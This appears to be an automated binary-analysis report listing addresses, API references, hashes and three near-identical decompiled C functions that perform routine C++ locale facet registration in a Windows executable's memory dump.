0x00087091
0x00087095
0x0008709b
0x000870a2
0x000870a4
0x000870a7
0x000870aa
0x000870ae
0x000870b4
0x000870b6
0x000870bf
0x000870c2
0x000870c4
0x000870c6
0x000870c6
0x000870c6
0x000870b8
0x000870b8
0x000870b8
0x000870cd
0x000870d8
0x000870e0
0x000870e6
0x000870f1
0x000870f4
0x000870f8
0x000870fc
0x00087100
0x00087105
0x0008710d
0x00087110
0x00087115
0x00087119
0x0008711d
0x00087124
0x00087127
0x0008712f
0x000871ab
0x00087131
0x00087134
0x00087134
0x00087137
0x00087137
0x00087083
0x00087086
0x00000000
0x00087086
0x00087081
0x00087077
0x00087069
0x00087140
0x00087144
0x0008714e
0x00087153
0x00087159
0x00087189
0x0008718e
0x000871a8
0x0008715b
0x0008715b
0x0008715e
0x00087165
0x0008716d
0x0008717f
0x0008717f
0x00087181
0x00000000
0x0008716f
0x0008716f
0x00087172
0x0008717d
0x000871af
0x000871b4
0x000871b5
0x000871b6
0x000871b7
0x000871b8
0x000871b9
0x000871ba
0x000871bb
0x000871bc
0x000871bd
0x000871be
0x000871bf
0x000871c0
0x000871c1
0x000871c9
0x000871cc
0x000871d0
0x000871d4
0x000871d6
0x000871d8
0x000871e3
0x000871e4
0x000871e5
0x000871eb
0x000871f0
0x000871f2
0x000871f5
0x000871f6
0x000871f7
0x000871fb
0x00087201
0x00087204
0x0008720a
0x0008720e
0x0008721a
0x0008721c
0x00087223
0x00087228
0x0008722a
0x0008722c
0x0008722c
0x0008722f
0x00087234
0x00087238
0x00087242
0x00087247
0x0008724a
0x0008724a
0x00087253
0x00087258
0x0008725c
0x00087262
0x00087267
0x0008726a
0x0008726d
0x0008726f
0x00087275
0x0008727a
0x00087281
0x00087283
0x00087288
0x00087288
0x00087289
0x0008728e
0x0008728e
0x00087296
0x0008729b
0x000872a1
0x000872a1
0x000872a4
0x000872aa
0x000872ad
0x000872bf
0x000872bf
0x00000000
0x000872af
0x000872b2
0x000872b5
0x000872b7
0x000872c1
0x000872c1
0x000872c5
0x000872da
0x000872da
0x000872dc
0x00000000
0x00000000
0x000872c7
0x000872c7
0x000872cc
0x000872cf
0x000872d2
0x000872e2
0x000872e2
0x000872e5
0x000872e7
0x000872f0
0x000872f7
0x000872f9
0x000872fc
0x000872ff
0x00087303
0x00087309
0x0008730b
0x00087314
0x00087317
0x00087319
0x0008731b
0x0008731b
0x0008731b
0x0008730d
0x0008730d
0x0008730d
0x00087322
0x0008732d
0x00087335
0x0008733b
0x00087346
0x00087349
0x0008734d
0x00087351
0x00087355
0x0008735a
0x00087362
0x00087365
0x0008736a
0x0008736e
0x00087372
0x00087379
0x0008737c
0x0008737f
0x00087384
0x0008743a
0x0008738a
0x0008738d
0x0008738d
0x00087390
0x000872e9
0x000872e9
0x000872e9
0x000872d4
0x000872d7
0x00000000
0x000872d7
0x000872d2
0x000872c5
0x000872b7
0x00087399
0x0008739e
0x000873a2
0x000873a5
0x000873ac
0x000873b3
0x000873ba
0x000873bd
0x000873c0
0x000873c2
0x000873c4
0x000873c8
0x000873ca
0x000873cc
0x000873cc
0x000873ce
0x000873d1
0x000873d3
0x000873d3
0x000873d5
0x000873d6
0x000873d7
0x000873d8
0x000873d9
0x000873de
0x000873de
0x000873e1
0x000873e4
0x000873e7
0x00087417
0x0008741d
0x0008742a
0x00087437
0x000873e9
0x000873e9
0x000873ec
0x000873f3
0x000873f5
0x000873fb
0x0008740d
0x0008740d
0x0008740f
0x00000000
0x000873fd
0x000873fd
0x00087400
0x00087408
0x0008740b
0x00087441
0x00087446
0x00087447
0x00087448
0x00087449
0x0008744a
0x0008744b
0x0008744c
0x0008744d
0x0008744e
0x0008744f
0x00087457
0x0008745c
0x00087461
0x00087461
0x00087464
0x00000000
0x00000000
0x00000000
0x0008740b
0x000873fb
0x00000000
0x00000000
0x00000000
0x0008717d
0x0008716d

APIs

Part of subcall function 00057070: GetSystemDirectoryW.KERNEL32(?,00000208), ref: 000570B1

std::_Lockit::_Lockit.LIBCPMT ref: 0008700C
std::_Lockit::_Lockit.LIBCPMT ref: 0008702B
std::_Lockit::~_Lockit.LIBCPMT ref: 0008704B

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 000870E6

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 0008711D
std::_Lockit::~_Lockit.LIBCPMT ref: 00087144

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacDirectoryFacet_FeatureInitLocimp::_Locimp_Locinfo_dtorPresentProcessorRegisterSystem___raise_securityfailure__onexit
String ID:
API String ID: 2434348438-0
Opcode ID: 7288286fc4149b3666c805f54b0bf41d9bd9efab45b2c1334f98679c987a5da1
Instruction ID: e2c74f222f4af5720cbba5011b8803a3699c88b0f164210707dcfe8b44165518
Opcode Fuzzy Hash: 7288286fc4149b3666c805f54b0bf41d9bd9efab45b2c1334f98679c987a5da1
Instruction Fuzzy Hash: E961B070904204DFDB14EF68D885B9EB7F5FF54300F24415AE889A7752EB35EA84CB92

Uniqueness

Uniqueness Score: 100.00%

Function 000940E0, Relevance: 9.1, APIs: 6, Instructions: 149
UNIQUE

Download Yara Rule

C-Code - Quality: 70%

			E000940E0(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				char _v32;
				intOrPtr* _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v100;
				char _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				signed int _t50;
				intOrPtr* _t52;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t62;
				intOrPtr* _t67;
				void* _t69;
				signed int _t74;
				signed int _t75;
				void* _t79;
				intOrPtr _t82;
				intOrPtr _t87;
				signed int _t96;
				intOrPtr* _t100;
				void* _t106;
				signed int _t109;
				void* _t110;
				void* _t114;
				void* _t119;

				_t93 = __edx;
				_t79 = _t106;
				_t109 = (_t106 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t79 + 4));
				_push(0xffffffff);
				_push(0x12f98d);
				_push( *[fs:0x0]);
				_push(_t79);
				_t110 = _t109 - 0x80;
				_t47 =  *0x16f170; // 0xd529e887
				_push(_t47 ^ _t109);
				 *[fs:0x0] =  &_v24;
				_v44 = __edx;
				_v48 = __ecx;
				_t50 =  *0x17a3cc; // 0x1
				if((_t50 & 0x00000001) == 0) {
					 *0x17a3cc = _t50 | 0x00000001;
					_v16 = 0;
					E000569D0(__ecx, __edx, _t50 | 0x00000001);
					E000ED2BB(_t50 | 0x00000001,  &M00138500);
					_t110 = _t110 + 4;
					_v16 = 0xffffffff;
				}
				E000D71DA( &_v40, 0);
				_v16 = 1;
				_t96 =  *0x17920c; // 0x1a
				_t52 =  *0x17a400; // 0x0
				_v36 = _t52;
				if(_t96 == 0) {
					E000D71DA( &_v32, _t96);
					_t119 =  *0x17920c - _t96; // 0x1a
					if(_t119 == 0) {
						_t74 =  *0x179200; // 0x27
						_t75 = _t74 + 1;
						 *0x179200 = _t75;
						 *0x17920c = _t75;
					}
					E000D7232( &_v32);
					_t96 =  *0x17920c; // 0x1a
				}
				_t82 =  *0x17a3b8; // 0x4fadc0
				if(_t96 >=  *((intOrPtr*)(_t82 + 0xc))) {
					_t100 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t82 + 8)) + _t96 * 4));
					if(_t100 != 0) {
						L23:
						_v16 = 0xffffffff;
						E000D7232( &_v40);
						E00056D20(_t79, _v48, _v44, _v44 + 9, _t100);
						 *[fs:0x0] = _v24;
						return _v48;
					}
					L10:
					if( *((char*)(_t82 + 0x14)) == 0) {
						L13:
						if(_t100 != 0) {
							goto L23;
						}
						L14:
						_t57 = _v36;
						if(_t57 == 0) {
							_push(0x34);
							_t100 = E000ECF08(_t100, __eflags);
							_t114 = _t110 + 4;
							_v36 = _t100;
							_v16 = 2;
							_t87 =  *0x17a3b8; // 0x4fadc0
							__eflags = _t87;
							if(_t87 != 0) {
								_t59 =  *((intOrPtr*)(_t87 + 0x18));
								__eflags = _t59;
								if(_t59 == 0) {
									_t28 = _t87 + 0x1c; // 0x4faddc
									_t59 = _t28;
								}
							} else {
								_t59 = 0x15063e;
							}
							E00051DD0(_t79,  &_v152, _t93, _t96, _t59);
							 *((intOrPtr*)(_t100 + 4)) = 0;
							 *_t100 = 0x13ab78;
							_t62 = E000DA744(_t79, _t93, __eflags,  &_v100);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x18], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x28], xmm0");
							 *((intOrPtr*)(_t100 + 0x30)) =  *((intOrPtr*)(_t62 + 0x28));
							E00051E90( &_v152);
							_v36 = _t100;
							_v16 = 3;
							E000D974C(__eflags, _t100);
							_t110 = _t114 + 8;
							_t67 =  *((intOrPtr*)( *_t100 + 4));
							__eflags = _t67 - 0x52060;
							if(_t67 != 0x52060) {
								 *_t67();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a400 = _t100;
						} else {
							_t100 = _t57;
						}
						goto L23;
					}
					_t69 = E000D9778();
					if(_t96 >=  *((intOrPtr*)(_t69 + 0xc))) {
						goto L14;
					}
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 8)) + _t96 * 4));
					goto L13;
				}
			}

0x000940e0
0x000940e1
0x000940e9
0x000940f0
0x000940f6
0x000940f8
0x00094103
0x00094104
0x00094105
0x0009410d
0x00094114
0x00094118
0x0009411e
0x00094121
0x00094124
0x0009412b
0x00094130
0x00094135
0x0009413c
0x00094146
0x0009414b
0x0009414e
0x0009414e
0x0009415a
0x0009415f
0x00094166
0x0009416c
0x00094171
0x00094176
0x0009417c
0x00094181
0x00094187
0x00094189
0x0009418e
0x0009418f
0x00094194
0x00094194
0x0009419c
0x000941a1
0x000941a1
0x000941a7
0x000941b0
0x000941c2
0x000941c2
0x00000000
0x000941b2
0x000941b5
0x000941ba
0x00094295
0x00094298
0x0009429f
0x000942af
0x000942bd
0x000942cd
0x000942cd
0x000941c4
0x000941c8
0x000941da
0x000941dc
0x00000000
0x00000000
0x000941e2
0x000941e2
0x000941e7
0x000941f0
0x000941f7
0x000941f9
0x000941fc
0x000941ff
0x00094203
0x00094209
0x0009420b
0x00094214
0x00094217
0x00094219
0x0009421b
0x0009421b
0x0009421b
0x0009420d
0x0009420d
0x0009420d
0x00094225
0x0009422d
0x00094237
0x0009423e
0x0009424c
0x0009424f
0x00094253
0x00094257
0x0009425b
0x00094260
0x00094268
0x0009426b
0x00094270
0x00094274
0x00094278
0x0009427f
0x00094282
0x00094285
0x0009428a
0x000942d0
0x0009428c
0x0009428c
0x0009428c
0x0009428f
0x000941e9
0x000941e9
0x000941e9
0x00000000
0x000941e7
0x000941ca
0x000941d2
0x00000000
0x00000000
0x000941d7
0x00000000
0x000941d7

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0009415A
std::_Lockit::_Lockit.LIBCPMT ref: 0009417C
std::_Lockit::~_Lockit.LIBCPMT ref: 0009419C

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 0009423E

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00094278
std::_Lockit::~_Lockit.LIBCPMT ref: 0009429F

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacFacet_InitLocimp::_Locimp_Locinfo_dtorRegister__onexit
String ID:
API String ID: 2129595408-0
Opcode ID: e1336c61e82844066c0d9311cd3e3a5e97cb28aa711fa9b80aab2d113be417c6
Instruction ID: bf5117fb311d2e698519494bc57820de4bf7c2ca783c6ba4d175a9f446166485
Opcode Fuzzy Hash: e1336c61e82844066c0d9311cd3e3a5e97cb28aa711fa9b80aab2d113be417c6
Instruction Fuzzy Hash: DE51B4B1D04304DFCB10DF58D841AAEB7F4FF54310F544259E859A7392EB31AA85DB91

Uniqueness

Uniqueness Score: 100.00%

Function 00076270, Relevance: 9.1, APIs: 6, Instructions: 149
UNIQUE

Download Yara Rule

C-Code - Quality: 70%

			E00076270(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				char _v32;
				intOrPtr* _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v100;
				char _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				signed int _t50;
				intOrPtr* _t52;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t62;
				intOrPtr* _t67;
				void* _t69;
				signed int _t74;
				signed int _t75;
				void* _t79;
				intOrPtr _t82;
				intOrPtr _t87;
				signed int _t96;
				intOrPtr* _t100;
				void* _t106;
				signed int _t109;
				void* _t110;
				void* _t114;
				void* _t119;

				_t93 = __edx;
				_t79 = _t106;
				_t109 = (_t106 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t79 + 4));
				_push(0xffffffff);
				_push(0x12f98d);
				_push( *[fs:0x0]);
				_push(_t79);
				_t110 = _t109 - 0x80;
				_t47 =  *0x16f170; // 0xd529e887
				_push(_t47 ^ _t109);
				 *[fs:0x0] =  &_v24;
				_v44 = __edx;
				_v48 = __ecx;
				_t50 =  *0x17a3cc; // 0x1
				if((_t50 & 0x00000001) == 0) {
					 *0x17a3cc = _t50 | 0x00000001;
					_v16 = 0;
					E000569D0(__ecx, __edx, _t50 | 0x00000001);
					E000ED2BB(_t50 | 0x00000001,  &M00138500);
					_t110 = _t110 + 4;
					_v16 = 0xffffffff;
				}
				E000D71DA( &_v40, 0);
				_v16 = 1;
				_t96 =  *0x17920c; // 0x1a
				_t52 =  *0x17a400; // 0x0
				_v36 = _t52;
				if(_t96 == 0) {
					E000D71DA( &_v32, _t96);
					_t119 =  *0x17920c - _t96; // 0x1a
					if(_t119 == 0) {
						_t74 =  *0x179200; // 0x27
						_t75 = _t74 + 1;
						 *0x179200 = _t75;
						 *0x17920c = _t75;
					}
					E000D7232( &_v32);
					_t96 =  *0x17920c; // 0x1a
				}
				_t82 =  *0x17a3b8; // 0x4fadc0
				if(_t96 >=  *((intOrPtr*)(_t82 + 0xc))) {
					_t100 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t82 + 8)) + _t96 * 4));
					if(_t100 != 0) {
						L23:
						_v16 = 0xffffffff;
						E000D7232( &_v40);
						E00056D20(_t79, _v48, _v44, _v44 + 3, _t100);
						 *[fs:0x0] = _v24;
						return _v48;
					}
					L10:
					if( *((char*)(_t82 + 0x14)) == 0) {
						L13:
						if(_t100 != 0) {
							goto L23;
						}
						L14:
						_t57 = _v36;
						if(_t57 == 0) {
							_push(0x34);
							_t100 = E000ECF08(_t100, __eflags);
							_t114 = _t110 + 4;
							_v36 = _t100;
							_v16 = 2;
							_t87 =  *0x17a3b8; // 0x4fadc0
							__eflags = _t87;
							if(_t87 != 0) {
								_t59 =  *((intOrPtr*)(_t87 + 0x18));
								__eflags = _t59;
								if(_t59 == 0) {
									_t28 = _t87 + 0x1c; // 0x4faddc
									_t59 = _t28;
								}
							} else {
								_t59 = 0x15063e;
							}
							E00051DD0(_t79,  &_v152, _t93, _t96, _t59);
							 *((intOrPtr*)(_t100 + 4)) = 0;
							 *_t100 = 0x13ab78;
							_t62 = E000DA744(_t79, _t93, __eflags,  &_v100);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x18], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x28], xmm0");
							 *((intOrPtr*)(_t100 + 0x30)) =  *((intOrPtr*)(_t62 + 0x28));
							E00051E90( &_v152);
							_v36 = _t100;
							_v16 = 3;
							E000D974C(__eflags, _t100);
							_t110 = _t114 + 8;
							_t67 =  *((intOrPtr*)( *_t100 + 4));
							__eflags = _t67 - 0x52060;
							if(_t67 != 0x52060) {
								 *_t67();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a400 = _t100;
						} else {
							_t100 = _t57;
						}
						goto L23;
					}
					_t69 = E000D9778();
					if(_t96 >=  *((intOrPtr*)(_t69 + 0xc))) {
						goto L14;
					}
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 8)) + _t96 * 4));
					goto L13;
				}
			}

0x00076270
0x00076271
0x00076279
0x00076280
0x00076286
0x00076288
0x00076293
0x00076294
0x00076295
0x0007629d
0x000762a4
0x000762a8
0x000762ae
0x000762b1
0x000762b4
0x000762bb
0x000762c0
0x000762c5
0x000762cc
0x000762d6
0x000762db
0x000762de
0x000762de
0x000762ea
0x000762ef
0x000762f6
0x000762fc
0x00076301
0x00076306
0x0007630c
0x00076311
0x00076317
0x00076319
0x0007631e
0x0007631f
0x00076324
0x00076324
0x0007632c
0x00076331
0x00076331
0x00076337
0x00076340
0x00076352
0x00076352
0x00000000
0x00076342
0x00076345
0x0007634a
0x00076425
0x00076428
0x0007642f
0x0007643f
0x0007644d
0x0007645d
0x0007645d
0x00076354
0x00076358
0x0007636a
0x0007636c
0x00000000
0x00000000
0x00076372
0x00076372
0x00076377
0x00076380
0x00076387
0x00076389
0x0007638c
0x0007638f
0x00076393
0x00076399
0x0007639b
0x000763a4
0x000763a7
0x000763a9
0x000763ab
0x000763ab
0x000763ab
0x0007639d
0x0007639d
0x0007639d
0x000763b5
0x000763bd
0x000763c7
0x000763ce
0x000763dc
0x000763df
0x000763e3
0x000763e7
0x000763eb
0x000763f0
0x000763f8
0x000763fb
0x00076400
0x00076404
0x00076408
0x0007640f
0x00076412
0x00076415
0x0007641a
0x00076460
0x0007641c
0x0007641c
0x0007641c
0x0007641f
0x00076379
0x00076379
0x00076379
0x00000000
0x00076377
0x0007635a
0x00076362
0x00000000
0x00000000
0x00076367
0x00000000
0x00076367

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000762EA
std::_Lockit::_Lockit.LIBCPMT ref: 0007630C
std::_Lockit::~_Lockit.LIBCPMT ref: 0007632C

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 000763CE

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00076408
std::_Lockit::~_Lockit.LIBCPMT ref: 0007642F

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacFacet_InitLocimp::_Locimp_Locinfo_dtorRegister__onexit
String ID:
API String ID: 2129595408-0
Opcode ID: 15b4bb1a021ef6b9728968b1dc8565e88d5cb2d068903c24ea6a490ffc18bed7
Instruction ID: 46cf98d6202137847e3eeb5866699ee75da5f80c40c17a8dc4cd3ef6bc0f2f95
Opcode Fuzzy Hash: 15b4bb1a021ef6b9728968b1dc8565e88d5cb2d068903c24ea6a490ffc18bed7
Instruction Fuzzy Hash: F851A3B1D00605DFCB10DF58D841AAEB7F4FF54310F148269E85AA7392EB35AA85CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00093EE0, Relevance: 9.1, APIs: 6, Instructions: 149
UNIQUE

Download Yara Rule

C-Code - Quality: 70%

			E00093EE0(intOrPtr __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				char _v32;
				intOrPtr* _v36;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v100;
				char _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t47;
				signed int _t50;
				intOrPtr* _t52;
				intOrPtr _t57;
				intOrPtr _t59;
				void* _t62;
				intOrPtr* _t67;
				void* _t69;
				signed int _t74;
				signed int _t75;
				void* _t79;
				intOrPtr _t82;
				intOrPtr _t87;
				signed int _t96;
				intOrPtr* _t100;
				void* _t106;
				signed int _t109;
				void* _t110;
				void* _t114;
				void* _t119;

				_t93 = __edx;
				_t79 = _t106;
				_t109 = (_t106 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t79 + 4));
				_push(0xffffffff);
				_push(0x12f98d);
				_push( *[fs:0x0]);
				_push(_t79);
				_t110 = _t109 - 0x80;
				_t47 =  *0x16f170; // 0xd529e887
				_push(_t47 ^ _t109);
				 *[fs:0x0] =  &_v24;
				_v44 = __edx;
				_v48 = __ecx;
				_t50 =  *0x17a3cc; // 0x1
				if((_t50 & 0x00000001) == 0) {
					 *0x17a3cc = _t50 | 0x00000001;
					_v16 = 0;
					E000569D0(__ecx, __edx, _t50 | 0x00000001);
					E000ED2BB(_t50 | 0x00000001,  &M00138500);
					_t110 = _t110 + 4;
					_v16 = 0xffffffff;
				}
				E000D71DA( &_v40, 0);
				_v16 = 1;
				_t96 =  *0x17920c; // 0x1a
				_t52 =  *0x17a400; // 0x0
				_v36 = _t52;
				if(_t96 == 0) {
					E000D71DA( &_v32, _t96);
					_t119 =  *0x17920c - _t96; // 0x1a
					if(_t119 == 0) {
						_t74 =  *0x179200; // 0x27
						_t75 = _t74 + 1;
						 *0x179200 = _t75;
						 *0x17920c = _t75;
					}
					E000D7232( &_v32);
					_t96 =  *0x17920c; // 0x1a
				}
				_t82 =  *0x17a3b8; // 0x4fadc0
				if(_t96 >=  *((intOrPtr*)(_t82 + 0xc))) {
					_t100 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t82 + 8)) + _t96 * 4));
					if(_t100 != 0) {
						L23:
						_v16 = 0xffffffff;
						E000D7232( &_v40);
						E00056D20(_t79, _v48, _v44, _v44 + 8, _t100);
						 *[fs:0x0] = _v24;
						return _v48;
					}
					L10:
					if( *((char*)(_t82 + 0x14)) == 0) {
						L13:
						if(_t100 != 0) {
							goto L23;
						}
						L14:
						_t57 = _v36;
						if(_t57 == 0) {
							_push(0x34);
							_t100 = E000ECF08(_t100, __eflags);
							_t114 = _t110 + 4;
							_v36 = _t100;
							_v16 = 2;
							_t87 =  *0x17a3b8; // 0x4fadc0
							__eflags = _t87;
							if(_t87 != 0) {
								_t59 =  *((intOrPtr*)(_t87 + 0x18));
								__eflags = _t59;
								if(_t59 == 0) {
									_t28 = _t87 + 0x1c; // 0x4faddc
									_t59 = _t28;
								}
							} else {
								_t59 = 0x15063e;
							}
							E00051DD0(_t79,  &_v152, _t93, _t96, _t59);
							 *((intOrPtr*)(_t100 + 4)) = 0;
							 *_t100 = 0x13ab78;
							_t62 = E000DA744(_t79, _t93, __eflags,  &_v100);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x18], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x28], xmm0");
							 *((intOrPtr*)(_t100 + 0x30)) =  *((intOrPtr*)(_t62 + 0x28));
							E00051E90( &_v152);
							_v36 = _t100;
							_v16 = 3;
							E000D974C(__eflags, _t100);
							_t110 = _t114 + 8;
							_t67 =  *((intOrPtr*)( *_t100 + 4));
							__eflags = _t67 - 0x52060;
							if(_t67 != 0x52060) {
								 *_t67();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a400 = _t100;
						} else {
							_t100 = _t57;
						}
						goto L23;
					}
					_t69 = E000D9778();
					if(_t96 >=  *((intOrPtr*)(_t69 + 0xc))) {
						goto L14;
					}
					_t100 =  *((intOrPtr*)( *((intOrPtr*)(_t69 + 8)) + _t96 * 4));
					goto L13;
				}
			}

0x00093ee0
0x00093ee1
0x00093ee9
0x00093ef0
0x00093ef6
0x00093ef8
0x00093f03
0x00093f04
0x00093f05
0x00093f0d
0x00093f14
0x00093f18
0x00093f1e
0x00093f21
0x00093f24
0x00093f2b
0x00093f30
0x00093f35
0x00093f3c
0x00093f46
0x00093f4b
0x00093f4e
0x00093f4e
0x00093f5a
0x00093f5f
0x00093f66
0x00093f6c
0x00093f71
0x00093f76
0x00093f7c
0x00093f81
0x00093f87
0x00093f89
0x00093f8e
0x00093f8f
0x00093f94
0x00093f94
0x00093f9c
0x00093fa1
0x00093fa1
0x00093fa7
0x00093fb0
0x00093fc2
0x00093fc2
0x00000000
0x00093fb2
0x00093fb5
0x00093fba
0x00094095
0x00094098
0x0009409f
0x000940af
0x000940bd
0x000940cd
